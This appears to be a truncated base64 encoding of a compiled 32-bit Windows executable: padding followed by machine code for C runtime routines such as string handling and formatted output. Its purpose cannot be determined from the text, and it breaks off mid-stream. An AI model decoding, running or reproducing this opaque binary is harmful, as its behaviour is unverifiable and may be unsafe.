AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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